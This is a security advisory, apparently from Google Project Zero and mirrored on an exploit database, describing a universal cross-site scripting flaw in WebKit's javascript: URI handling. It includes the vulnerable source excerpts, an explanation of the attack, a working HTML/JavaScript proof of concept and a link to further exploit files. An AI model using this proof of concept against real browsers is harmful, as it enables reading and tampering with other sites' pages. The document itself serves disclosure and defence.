WebKit – UXSS Using JavaScript: URI and Synchronous Page Loads

  • 作者: Google Security Research
    日期: 2019-10-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47450/
  • VULNERABILITY DETAILS
    ```
    void DocumentWriter::replaceDocument(const String& source, Document* ownerDocument)
    {
    [...]
    begin(m_frame->document()->url(), true, ownerDocument); // ***1***
    
    // begin() might fire an unload event, which will result in a situation where no new document has been attached,
    // and the old document has been detached. Therefore, bail out if no document is attached.
    if (!m_frame->document())
    return;
    
    if (!source.isNull()) {
    if (!m_hasReceivedSomeData) {
    m_hasReceivedSomeData = true;
    m_frame->document()->setCompatibilityMode(DocumentCompatibilityMode::NoQuirksMode);
    }
    
    // FIXME: This should call DocumentParser::appendBytes instead of append
    // to support RawDataDocumentParsers.
    if (DocumentParser* parser = m_frame->document()->parser())
    parser->append(source.impl()); // ***2***
    }
    ```
    
    ```
    bool DocumentWriter::begin(const URL& urlReference, bool dispatch, Document* ownerDocument)
    {
    [...]
    bool shouldReuseDefaultView = m_frame->loader().stateMachine().isDisplayingInitialEmptyDocument() && m_frame->document()->isSecureTransitionTo(url); // ***3***
    if (shouldReuseDefaultView)
    document->takeDOMWindowFrom(*m_frame->document());
    else
    document->createDOMWindow();
    
    // Per <http://www.w3.org/TR/upgrade-insecure-requests/>, we need to retain an ongoing set of upgraded
    // requests in new navigation contexts. Although this information is present when we construct the
    // Document object, it is discard in the subsequent 'clear' statements below. So, we must capture it
    // so we can restore it.
    HashSet<SecurityOriginData> insecureNavigationRequestsToUpgrade;
    if (auto* existingDocument = m_frame->document())
    insecureNavigationRequestsToUpgrade = existingDocument->contentSecurityPolicy()->takeNavigationRequestsToUpgrade();
    
    m_frame->loader().clear(document.ptr(), !shouldReuseDefaultView, !shouldReuseDefaultView);
    clear();
    
    // m_frame->loader().clear() might fire unload event which could remove the view of the document.
    // Bail out if document has no view.
    if (!document->view())
    return false;
    
    if (!shouldReuseDefaultView)
    m_frame->script().updatePlatformScriptObjects();
    
    m_frame->loader().setOutgoingReferrer(url);
    m_frame->setDocument(document.copyRef());
    [...]
    m_frame->loader().didBeginDocument(dispatch); // ***4***
    
    document->implicitOpen();
    [...]
    ```
    
    `DocumentWriter::replaceDocument` is responsible for replacing the currently displayed document with
    a new one using the result of evaluating a javascript: URI as the document's source. The method
    calls `DocumentWriter::begin`[1], which might trigger JavaScript execution, and then sends data to
    the parser of the active document[2]. If an attacker can perform another page load right before
    returning from `begin` , the method will append an attacker-controlled string to a potentially
    cross-origin document.
    
    Under normal conditions, a javascript: URI load always makes `begin` associate the new document with
    a new DOMWindow object. However, it's actually possible to meet the requirements of the
    `shouldReuseDefaultView` check[3]. Firstly, the attacker needs to initialize the <iframe> element's
    source URI to a sane value before it's inserted into the document. This will set the frame state to
    `DisplayingInitialEmptyDocumentPostCommit`. Then she has to call `open` on the frame's document
    right after the insertion to stop the initial load and set the document URL to a value that can pass
    the `isSecureTransitionTo` check.
    
    When the window object is re-used, all event handlers defined for the window remain active. So, for
    example, when `didBeginDocument`[4] calls `setReadyState` on the new document, it will trigger the
    window's "readystatechange" handler. Since `NavigationDisabler` is not active at this point, it's
    possible to perform a synchronous page load using the `showModalDialog` trick.
    
    
    VERSION
    WebKit revision 246194
    Safari version 12.1.1 (14607.2.6.1.1)
    
    
    REPRODUCTION CASE
    The attack won't work if the cross-origin document has no active parser by the time `begin` returns.
    The easiest way to reproduce the bug is to call `document.write` from the victim page when the main
    parsing task is complete. However, it's a rather artificial construct, so I've also attached another
    test case, which works for regular pages, but it has to use a python script that emulates a slow web
    server to run reliably.
    
    ```
    <body>
    <h1>Click to start</h1>
    <script>
    function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
    }
    
    function waitForLoad() {
    showModalDialog(createURL(`
    <script>
    let it = setInterval(() => {
    try {
    opener.frame.contentDocument.x;
    } catch (e) {
    clearInterval(it);
    window.close();
    }
    }, 2000);
    </scrip` + 't>'));
    }
    
    window.onclick = () => {
    frame = document.createElement('iframe');
    frame.src = location;
    document.body.appendChild(frame);
    
    frame.contentDocument.open();
    frame.contentDocument.onreadystatechange = () => {
    frame.contentWindow.addEventListener('readystatechange', () => {
    a = frame.contentDocument.createElement('a');
    a.href = victim_url;
    a.click();
    waitForLoad();
    }, {capture: true, once: true});
    }
    frame.src = 'javascript:"<script>alert(document.documentElement.outerHTML)</scr' + 'ipt>"';
    }
    
    victim_url = 'data:text/html,<script>setTimeout(() => document.write("secret data"), 1000)</scr' + 'ipt>';
    ext = document.body.appendChild(document.createElement('iframe'));
    ext.src = victim_url;
    </script>
    </body> 
    
    ```
    
    
    CREDIT INFORMATION
    Sergei Glazunov of Google Project Zero
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47450.zip